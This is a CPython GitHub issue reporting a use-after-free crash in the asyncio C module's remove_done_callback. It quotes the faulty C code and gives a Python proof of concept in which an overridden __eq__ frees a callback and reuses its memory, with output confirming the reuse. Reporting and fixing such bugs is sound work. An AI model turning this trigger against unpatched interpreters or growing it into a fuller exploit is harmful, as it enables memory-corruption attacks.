-
-
Notifications
You must be signed in to change notification settings - Fork 32.9k
Closed
Labels
3.12only security fixesonly security fixes3.13bugs and security fixesbugs and security fixes3.14bugs and security fixesbugs and security fixesextension-modulesC modules in the Modules dirC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump
Description
Crash report
What happened?
This bug boils down to a missing incref on the callback before calling PyObject_RichCompareBool
. Although we can't directly control the callbacks list with fut._callbacks
ever since it was made to return a copy every time, we can still modify it by removing/adding callbacks in evil __eq__
functions.
The bug is here
cpython/Modules/_asynciomodule.c
Lines 1049 to 1052 in 3032fcd
if (len == 1) { | |
PyObject *cb_tup = PyList_GET_ITEM(self->fut_callbacks, 0); | |
int cmp = PyObject_RichCompareBool( | |
PyTuple_GET_ITEM(cb_tup, 0), fn, Py_EQ); |
PoC
import asyncio
fut = asyncio.Future()
class ConfirmUAF:
def __eq__(self, other):
print("!!!! How did we get here !!!!")
class Base:
def __eq__(self, other):
print("in tracker eq", self, other)
return other != pad
def __del__(self):
# to see when objects are being deleted
print("deleting", self)
class Evil(Base):
def __eq__(self, other):
global _no_del
print("in evil eq", self, other)
fut.remove_done_callback(Base())
old_id = id(other)
del other
_no_del = ConfirmUAF()
new_id = id(_no_del)
# if these two are the same, you'll end up in the ConfirmUAF.__eq__ func
# if not, you'll probably just crash
print(f"{old_id = :#x} {new_id = :#x}")
return NotImplemented
pad = ...
fut.add_done_callback(pad)
fut.add_done_callback(Base())
assert fut.remove_done_callback(pad) == 1
print("starting bug")
fut.remove_done_callback(Evil())
Output
in tracker eq <__main__.Base object at 0x7f8cac015d40> Ellipsis
starting bug
in evil eq <__main__.Evil object at 0x7f8cac015ea0> <__main__.Base object at 0x7f8cac015d40>
in tracker eq <__main__.Base object at 0x7f8cac015d40> <__main__.Base object at 0x7f8cac016000>
in tracker eq <__main__.Base object at 0x7f8cac016000> Ellipsis
deleting <__main__.Base object at 0x7f8cac016000>
deleting <__main__.Base object at 0x7f8cac015d40>
old_id = 0x7f8cac015d40 new_id = 0x7f8cac015d40
!!!! How did we get here !!!!
deleting <__main__.Evil object at 0x7f8cac015ea0>
CPython versions tested on:
3.13, 3.14
Operating systems tested on:
Linux, Windows
Output from running 'python -VV' on the command line:
Python 3.14.0a1+ (heads/main:85799f1ffd, Nov 4 2024, 11:28:25) [GCC 13.2.0]
Linked PRs
Metadata
Metadata
Assignees
Labels
3.12only security fixesonly security fixes3.13bugs and security fixesbugs and security fixes3.14bugs and security fixesbugs and security fixesextension-modulesC modules in the Modules dirC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump
Projects
Status
Done